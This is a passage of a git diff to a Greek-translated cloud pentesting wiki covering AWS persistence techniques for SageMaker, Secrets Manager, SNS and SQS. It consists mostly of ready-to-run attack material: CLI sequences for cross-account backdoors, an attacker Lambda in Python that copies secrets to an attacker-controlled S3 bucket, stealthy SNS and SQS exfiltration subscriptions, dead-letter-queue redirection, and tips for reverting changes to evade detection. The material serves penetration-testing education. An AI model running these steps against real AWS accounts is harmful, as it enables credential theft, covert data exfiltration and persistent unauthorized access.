(π.χ., CreateModelPackage/Describe/List). Αυτό δημιουργεί μια μόνιμη backdoor που επιτρέπει το ανέβασμα poisoned model versions ή την ανάγνωση model metadata/artifacts ακόμη και αν ο attacker’s IAM user/role in the victim account is removed. + +Required permissions +- sagemaker:CreateModelPackageGroup +- sagemaker:PutModelPackageGroupPolicy +- sagemaker:GetModelPackageGroupPolicy + +Steps (us-east-1) +```bash +# 1) Create a Model Package Group +REGION=${REGION:-us-east-1} +MPG=atk-mpg-$(date +%s) +aws sagemaker create-model-package-group \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--model-package-group-description "Test backdoor" + +# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account) +cat > /tmp/mpg-policy.json <:model-package-group/${MPG}", +"arn:aws:sagemaker:${REGION}::model-package/${MPG}/*" +] +} +] +} +JSON + +# 3) Attach the policy to the group +aws sagemaker put-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--resource-policy "$(jq -c . /tmp/mpg-policy.json)" + +# 4) Retrieve the policy (evidence) +aws sagemaker get-model-package-group-policy \ +--region "$REGION" \ +--model-package-group-name "$MPG" \ +--query ResourcePolicy --output text +``` +Σημειώσεις +- For a real cross-account backdoor, scope Resource to the specific group ARN and use the attacker’s AWS account ID in Principal. +- For end-to-end cross-account deployment or artifact reads, align S3/ECR/KMS grants with the attacker account. + +Επιπτώσεις +- Persistent cross-account control of a Model Registry group: attacker can publish malicious model versions or enumerate/read model metadata even after their IAM entities are removed in the victim account. + +## Canvas cross-account backdoor στο model registry (UpdateUserProfile.ModelRegisterSettings) + +Καταχραστείτε τις ρυθμίσεις χρήστη του SageMaker Canvas για να ανακατευθύνετε σιωπηλά τα model registry writes σε έναν attacker-controlled account ενεργοποιώντας το ModelRegisterSettings και δείχνοντας το CrossAccountModelRegisterRoleArn σε έναν attacker role σε άλλο account. + +Απαιτούμενες άδειες +- sagemaker:UpdateUserProfile on the target UserProfile +- Optional: sagemaker:CreateUserProfile on a Domain you control + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md deleted file mode 100644 index 445c01363..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md +++ /dev/null @@ -1,51 +0,0 @@ -# AWS - Διαχείριση Μυστικών Επιμονής - -{{#include ../../../banners/hacktricks-training.md}} - -## Διαχείριση Μυστικών - -Για περισσότερες πληροφορίες δείτε: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Μέσω Πολιτικών Πόρων - -Είναι δυνατόν να **παραχωρηθεί πρόσβαση σε μυστικά σε εξωτερικούς λογαριασμούς** μέσω πολιτικών πόρων. Δείτε τη [**σελίδα Privesc της Διαχείρισης Μυστικών**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) για περισσότερες πληροφορίες. Σημειώστε ότι για να **πρόσβαση σε ένα μυστικό**, ο εξωτερικός λογαριασμός θα χρειαστεί επίσης **πρόσβαση στο κλειδί KMS που κρυπτογραφεί το μυστικό**. - -### Μέσω Lambda Περιστροφής Μυστικών - -Για να **περιστρέφονται τα μυστικά** αυτόματα καλείται μια ρυθμισμένη **Lambda**. Εάν ένας επιτιθέμενος μπορούσε να **αλλάξει** τον **κώδικα**, θα μπορούσε άμεσα να **εξάγει το νέο μυστικό** για τον εαυτό του. - -Αυτός είναι ο τρόπος που θα μπορούσε να φαίνεται ο κώδικας lambda για μια τέτοια ενέργεια: -```python -import boto3 - -def rotate_secrets(event, context): -# Create a Secrets Manager client -client = boto3.client('secretsmanager') - -# Retrieve the current secret value -secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] - -# Rotate the secret by updating its value -new_secret_value = rotate_secret(secret_value) -client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) - -def rotate_secret(secret_value): -# Perform the rotation logic here, e.g., generate a new password - -# Example: Generate a new password -new_secret_value = generate_password() - -return new_secret_value - -def generate_password(): -# Example: Generate a random password using the secrets module -import secrets -import string -password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) -return password -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md new file mode 100644 index 000000000..1f3bec9d1 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md @@ -0,0 +1,234 @@ +# AWS - Secrets Manager Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Μέσω Resource Policies + +Είναι δυνατό να **grant access to secrets to external accounts** μέσω resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) για περισσότερες πληροφορίες. Σημειώστε ότι για να **access a secret**, ο εξωτερικός λογαριασμός θα χρειαστεί επίσης **access to the KMS key encrypting the secret**. + +### Μέσω Secrets Rotate Lambda + +Για να **rotate secrets** αυτόματα καλείται μια ρυθμισμένη **Lambda**. Αν ένας attacker μπορούσε να **change** τον **code**, θα μπορούσε απευθείας να **exfiltrate the new secret** στον εαυτό του. + +Έτσι θα μπορούσε να μοιάζει ο κώδικας του Lambda για μια τέτοια ενέργεια: +```python +import boto3 + +def rotate_secrets(event, context): +# Create a Secrets Manager client +client = boto3.client('secretsmanager') + +# Retrieve the current secret value +secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString'] + +# Rotate the secret by updating its value +new_secret_value = rotate_secret(secret_value) +client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value) + +def rotate_secret(secret_value): +# Perform the rotation logic here, e.g., generate a new password + +# Example: Generate a new password +new_secret_value = generate_password() + +return new_secret_value + +def generate_password(): +# Example: Generate a random password using the secrets module +import secrets +import string +password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16)) +return password +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Αντικαταστήστε το rotation Lambda με μια συνάρτηση υπό έλεγχο επιτιθέμενου μέσω RotateSecret + +Κακοποιήστε `secretsmanager:RotateSecret` για να επανασυνδέσετε ένα secret σε ένα rotation Lambda που ελέγχεται από τον επιτιθέμενο και να ενεργοποιήσετε άμεση περιστροφή. Η κακόβουλη συνάρτηση εξάγει τις εκδόσεις του secret (AWSCURRENT/AWSPENDING) κατά τα βήματα περιστροφής (createSecret/setSecret/testSecret/finishSecret) σε έναν προορισμό του επιτιθέμενου (π.χ., S3 ή εξωτερικό HTTP). + +- Απαιτήσεις +- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration. +- Ένα στοχευμένο secret id (`SecretId`) με ενεργοποιημένη περιστροφή ή τη δυνατότητα να ενεργοποιηθεί η περιστροφή. + +- Επίπτωση +- Ο επιτιθέμενος αποκτά την/τις τιμή/ές του secret χωρίς να τροποποιήσει τον νόμιμο κώδικα περιστροφής. Αλλάζει μόνο η ρύθμιση περιστροφής ώστε να δείχνει στο Lambda του επιτιθέμενου. Εάν δεν εντοπιστεί, οι προγραμματισμένες μελλοντικές περιστροφές θα συνεχίσουν να καλούν τη συνάρτηση του επιτιθέμενου. + +- Βήματα επίθεσης (CLI) +1) Προετοιμάστε προορισμό exfiltration και ρόλο Lambda +- Δημιουργήστε S3 bucket για exfiltration και έναν ρόλο εκτέλεσης εμπιστευόμενο από το Lambda με δικαιώματα ανάγνωσης του secret και εγγραφής στο S3 (συν logs/KMS όπως απαιτείται). +2) Ανάπτυξη Lambda επιτιθέμενου που σε κάθε βήμα περιστροφής ανακτά την/τις τιμή/ές του secret και τις γράφει στο S3. Η ελάχιστη λογική περιστροφής μπορεί απλώς να αντιγράψει AWSCURRENT σε AWSPENDING και να το προωθήσει στο finishSecret για να διατηρηθεί η υπηρεσία λειτουργική. +3) Επανασύνδεση της περιστροφής και ενεργοποίηση +- `aws secretsmanager rotate-secret --secret-id --rotation-lambda-arn --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately` +4) Επαληθεύστε την εξαγωγή κάνοντας λίστα στο S3 prefix για εκείνο το secret και εξετάζοντας τα JSON artifacts. +5) (Προαιρετικό) Επαναφέρετε το αρχικό rotation Lambda για μείωση της ανίχνευσης. + +- Παράδειγμα Lambda του επιτιθέμενου (Python) που εξάγει σε S3 +- Περιβάλλον: `EXFIL_BUCKET=` +- Handler: `lambda_function.lambda_handler` +```python +import boto3, json, os, base64, datetime +s3 = boto3.client('s3') +sm = boto3.client('secretsmanager') +BUCKET = os.environ['EXFIL_BUCKET'] + +def write_s3(key, data): +s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json') + +def lambda_handler(event, context): +sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step'] +# Exfil both stages best-effort +def getv(**kw): +try: +r = sm.get_secret_value(**kw) +return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')} +except Exception as e: +return {'error': str(e)} +current = getv(SecretId=sid, VersionStage='AWSCURRENT') +pending = getv(SecretId=sid, VersionStage='AWSPENDING') +key = f"{sid.replace(':','_')}/{step}/{token}.json" +write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending}) +# Minimal rotation (optional): copy current->pending and promote in finishSecret +# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage) +``` +### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip) + +Καταχράσου τις ετικέτες version staging του Secrets Manager για να τοποθετήσεις μια εκδοχή μυστικού υπό έλεγχο του attacker και να τη διατηρήσεις κρυφή κάτω από ένα custom stage (για παράδειγμα, `ATTACKER`) ενώ η παραγωγή συνεχίζει να χρησιμοποιεί την αρχική `AWSCURRENT`. Σε οποιαδήποτε στιγμή, μετακίνησε το `AWSCURRENT` στην εκδοχή του attacker για να μολύνεις εξαρτώμενα workloads, και μετά επαναφέρε το για να ελαχιστοποιήσεις την ανίχνευση. Αυτό παρέχει διακριτική backdoor persistence και γρήγορη manipulation χρόνου-χρήσης χωρίς να αλλάζει το όνομα του secret ή τη rotation config. + +- Απαιτήσεις +- Δικαιώματα: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (για επαλήθευση) +- Target secret id στην Region. + +- Επιπτώσεις +- Διατήρηση μιας κρυφής, υπό έλεγχο attacker εκδοχής ενός secret και ατομική εναλλαγή του `AWSCURRENT` σε αυτήν κατόπιν ζήτησης, επηρεάζοντας οποιοδήποτε consumer επιλύει το ίδιο όνομα secret. Η εναλλαγή και η γρήγορη επαναφορά μειώνουν την πιθανότητα ανίχνευσης ενώ επιτρέπουν τον προσωρινό συμβιβασμό. + +- Βήματα επίθεσης (CLI) +- Προετοιμασία +- `export SECRET_ID=` + +
+Εντολές CLI +```bash +# 1) Capture current production version id (the one holding AWSCURRENT) +CUR=$(aws secretsmanager list-secret-version-ids \ +--secret-id "$SECRET_ID" \ +--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \ +--output text) + +# 2) Create attacker version with known value (this will temporarily move AWSCURRENT) +BACKTOK=$(uuidgen) +aws secretsmanager put-secret-value \ +--secret-id "$SECRET_ID" \ +--client-request-token "$BACKTOK" \ +--secret-string {backdoor:hunter2!} + +# 3) Restore production and hide attacker version under custom stage +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" + +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage ATTACKER \ +--move-to-version-id "$BACKTOK" + +# Verify stages +aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated + +# 4) On-demand flip to the attacker’s value and revert quickly +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$BACKTOK" \ +--remove-from-version-id "$CUR" + +# Validate served plaintext now equals the attacker payload +aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text + +# Revert to reduce detection +aws secretsmanager update-secret-version-stage \ +--secret-id "$SECRET_ID" \ +--version-stage AWSCURRENT \ +--move-to-version-id "$CUR" \ +--remove-from-version-id "$BACKTOK" +``` +
+ +- Σημειώσεις +- Όταν παρέχετε `--client-request-token`, Secrets Manager το χρησιμοποιεί ως το `VersionId`. Η προσθήκη μιας νέας έκδοσης χωρίς ρητή ρύθμιση του `--version-stages` μετακινεί το `AWSCURRENT` στην καινούρια έκδοση από προεπιλογή και σημειώνει την προηγούμενη ως `AWSPREVIOUS`. + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +Κακόβουλη χρήση της multi-Region replication του Secrets Manager για τη δημιουργία μιας replica ενός στόχου secret σε μια λιγότερο-παρακολουθούμενη Region, κρυπτογραφώντας το με ένα attacker-controlled KMS key σε εκείνη τη Region, στη συνέχεια προώθηση (promote) της replica σε standalone secret και επισύναψη ενός permissive resource policy που παρέχει στον attacker δικαίωμα ανάγνωσης. Το αρχικό secret στην primary Region παραμένει αμετάβλητο, προσφέροντας ανθεκτική, stealthy πρόσβαση στην τιμή του secret μέσω της προωθημένης replica ενώ παρακάμπτονται οι περιορισμοί KMS/policy στην primary. + +- Απαιτήσεις +- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. +- Στη replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ή `kms:PutKeyPolicy`) για να επιτρέψουν στον attacker principal `kms:Decrypt`. +- Ένας attacker principal (user/role) που θα λάβει δικαίωμα ανάγνωσης στο promoted secret. + +- Επιπτώσεις +- Επίμονος cross-Region δρόμος πρόσβασης στην τιμή του secret μέσω μιας standalone replica υπό έναν attacker-controlled KMS CMK και permissive resource policy. Το primary secret στην αρχική Region παραμένει ανεπηρέαστο. + +- Attack (CLI) +- Μεταβλητές +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` +1) Δημιουργήστε attacker-controlled KMS key στο replica Region +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ +{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ +--query KeyMetadata.KeyId --output text) +aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` +2) Αντιγράψτε το secret στο R2 χρησιμοποιώντας το attacker KMS key +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ +--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` +3) Αναβαθμίστε το αντίγραφο σε αυτόνομο στο R2 +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` +4) Επισύναψε επιτρεπτική πολιτική πόρων στο αυτόνομο secret στο R2 +```bash +cat > /tmp/replica_policy.json < \ ---protocol http \ ---notification-endpoint http:/// \ ---topic-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md new file mode 100644 index 000000000..db0da6067 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md @@ -0,0 +1,113 @@ +# AWS - SNS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Επίμονη πρόσβαση + +Κατά τη δημιουργία ενός **SNS topic** πρέπει να υποδείξετε με μία IAM policy **ποιος έχει πρόσβαση για ανάγνωση και εγγραφή**. Είναι δυνατό να υποδείξετε εξωτερικούς λογαριασμούς, ARN ρόλων, ή **ακόμα το "\*"**.\ +Η ακόλουθη policy δίνει σε όλους στο AWS πρόσβαση για ανάγνωση και εγγραφή στο SNS topic με όνομα **`MySNS.fifo`**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] +} +``` +### Δημιουργία Συνδρομητών + +Για να συνεχίσει να εξάγει όλα τα μηνύματα από όλα τα θέματα, ένας επιτιθέμενος μπορεί να **δημιουργήσει συνδρομητές για όλα τα θέματα**. + +Σημειώστε ότι αν το **θέμα είναι τύπου FIFO**, μόνο συνδρομητές που χρησιμοποιούν το πρωτόκολλο **SQS** μπορούν να χρησιμοποιηθούν. +```bash +aws sns subscribe --region \ +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn +``` +### Κρυφή, επιλεκτική exfiltration μέσω FilterPolicy σε MessageBody + +Ένας επιτιθέμενος με `sns:Subscribe` και `sns:SetSubscriptionAttributes` σε ένα topic μπορεί να δημιουργήσει μια stealthy SQS subscription που προωθεί μόνο μηνύματα των οποίων το JSON body ταιριάζει με ένα πολύ στενό φίλτρο (για παράδειγμα, `{"secret":"true"}`). Αυτό μειώνει τον όγκο και την πιθανότητα ανίχνευσης ενώ εξακολουθεί να πραγματοποιείται exfiltration ευαίσθητων εγγραφών. + +**Πιθανός Αντίκτυπος**: Κρυφή, χαμηλού θορύβου exfiltration μόνο των στοχευμένων μηνυμάτων SNS από ένα θύμα topic. + +Βήματα (AWS CLI): +- Βεβαιωθείτε ότι η πολιτική της SQS ουράς του επιτιθέμενου επιτρέπει `sqs:SendMessage` από το θύμα `TopicArn` (Condition `aws:SourceArn` equals the `TopicArn`). +- Δημιουργήστε SQS subscription για το topic: + +```bash +aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN +``` + +- Ορίστε το φίλτρο να λειτουργεί στο MessageBody και να ταιριάζει μόνο `secret=true`: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' +``` + +- Προαιρετική διακριτικότητα: ενεργοποιήστε το raw delivery ώστε μόνο το raw payload να φτάνει στον παραλήπτη: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true +``` + +- Επαλήθευση: δημοσιεύστε δύο μηνύματα και επιβεβαιώστε ότι μόνο το πρώτο παραδόθηκε στην ουρά του επιτιθέμενου. Παραδείγματα payloads: + +```json +{"secret":"true","data":"exfil"} +{"secret":"false","data":"benign"} +``` + +- Καθαρισμός: απεγγραφείτε και διαγράψτε την SQS ουρά του επιτιθέμενου αν δημιουργήθηκε για persistence testing. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md deleted file mode 100644 index 36f475d47..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SQS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Χρησιμοποιώντας πολιτική πόρων - -Στο SQS πρέπει να υποδείξετε με μια πολιτική IAM **ποιος έχει πρόσβαση για να διαβάσει και να γράψει**. Είναι δυνατόν να υποδείξετε εξωτερικούς λογαριασμούς, ARN ρόλων ή **ακόμα και "\*"**.\ -Η παρακάτω πολιτική δίνει σε όλους στο AWS πρόσβαση σε όλα στην ουρά που ονομάζεται **MyTestQueue**: -```json -{ -"Version": "2008-10-17", -"Id": "__default_policy_ID", -"Statement": [ -{ -"Sid": "__owner_statement", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": ["SQS:*"], -"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" -} -] -} -``` -> [!NOTE] -> Θα μπορούσατε ακόμη και να **ενεργοποιήσετε μια Lambda στον λογαριασμό των επιτιθέμενων κάθε φορά που προστίθεται ένα νέο μήνυμα** στην ουρά (θα χρειαστεί να το ξαναβάλτε) με κάποιο τρόπο. Για αυτό ακολουθήστε αυτές τις οδηγίες: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md new file mode 100644 index 000000000..2309ece7f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - SQS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Χρήση resource policy + +Στο SQS πρέπει να υποδείξετε με μια IAM policy **ποιος έχει πρόσβαση για ανάγνωση και εγγραφή**. Είναι δυνατόν να υποδείξετε εξωτερικούς λογαριασμούς, ARN of roles, ή **ακόμα και "\*"**.\ +Η παρακάτω πολιτική δίνει σε όλους στο AWS πρόσβαση σε οτιδήποτε στην ουρά που ονομάζεται **MyTestQueue**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] +} +``` +> [!NOTE] +> Μπορείτε ακόμη και να **ενεργοποιήσετε μια Lambda στον λογαριασμό του attacker κάθε φορά που μπαίνει ένα νέο μήνυμα** στην ουρά (θα χρειαστεί να το επανατοποθετήσετε). Για αυτό ακολουθήστε αυτές τις οδηγίες: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) + +### Περισσότερες SQS Persistence Techniques + +{{#ref}} +aws-sqs-dlq-backdoor-persistence.md +{{#endref}} + +{{#ref}} +aws-sqs-orgid-policy-backdoor.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md new file mode 100644 index 000000000..7a0a53546 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md @@ -0,0 +1,71 @@ +# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy + +{{#include ../../../../banners/hacktricks-training.md}} + +Κακοποίηση των SQS Dead-Letter Queues (DLQs) για να απορροφηθούν διακριτικά δεδομένα από μια ουρά πηγής του θύματος δείχνοντας το RedrivePolicy της σε μια ουρά που ελέγχεται από attacker. Με χαμηλό maxReceiveCount και με πρόκληση ή αναμονή κανονικών αποτυχιών επεξεργασίας, τα μηνύματα κατευθύνονται αυτόματα στην attacker DLQ χωρίς να αλλάξουν οι producers ή οι Lambda event source mappings. + +## Κακοχρησιμοποιούμενα Δικαιώματα +- sqs:SetQueueAttributes στην ουρά πηγής του θύματος (για να ορίσει το RedrivePolicy) +- sqs:SetQueueAttributes στην attacker DLQ (για να ορίσει το RedriveAllowPolicy) +- Προαιρετικό για επιτάχυνση: sqs:ReceiveMessage στην ουρά πηγής +- Προαιρετικό για ρύθμιση: sqs:CreateQueue, sqs:SendMessage + +## Ροή ίδιου λογαριασμού (allowAll) + +Προετοιμασία (attacker account or compromised principal): +```bash +REGION=us-east-1 +# 1) Create attacker DLQ +ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text) +ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Allow any same-account source queue to use this DLQ +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}' +``` +Εκτέλεση (τρέξτε ως compromised principal σε victim account): +```bash +# 3) Point victim source queue to attacker DLQ with low retries +VICTIM_SRC_URL= +ATTACKER_DLQ_ARN= +aws sqs set-queue-attributes \ +--queue-url "$VICTIM_SRC_URL" --region $REGION \ +--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}' +``` +Επιτάχυνση (προαιρετική): +```bash +# 4) If you also have sqs:ReceiveMessage on the source queue, force failures +for i in {1..2}; do \ +aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \ +--max-number-of-messages 10 --visibility-timeout 0; \ +done +``` +Επικύρωση: +```bash +# 5) Confirm messages appear in attacker DLQ +aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--max-number-of-messages 10 --attribute-names All --message-attribute-names All +``` +Παράδειγμα αποδεικτικών στοιχείων (Οι ιδιότητες περιλαμβάνουν το DeadLetterQueueSourceArn): +```json +{ +"MessageId": "...", +"Body": "...", +"Attributes": { +"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..." +} +} +``` +## Cross-Account Variant (byQueue) +Ορίστε το RedriveAllowPolicy στο attacker DLQ ώστε να επιτρέπονται μόνο συγκεκριμένα victim source queue ARNs: +```bash +VICTIM_SRC_ARN= +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}' +``` +## Επιπτώσεις +- Κρυφή, ανθεκτική data exfiltration/persistence μέσω αυτόματης παρέκκλισης των αποτυχημένων μηνυμάτων από την SQS source queue του θύματος σε attacker-controlled DLQ, με ελάχιστο λειτουργικό θόρυβο και χωρίς αλλαγές στους producers ή στις Lambda mappings. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md new file mode 100644 index 000000000..f67f032db --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md @@ -0,0 +1,38 @@ +# AWS - SQS OrgID Policy Backdoor + +{{#include 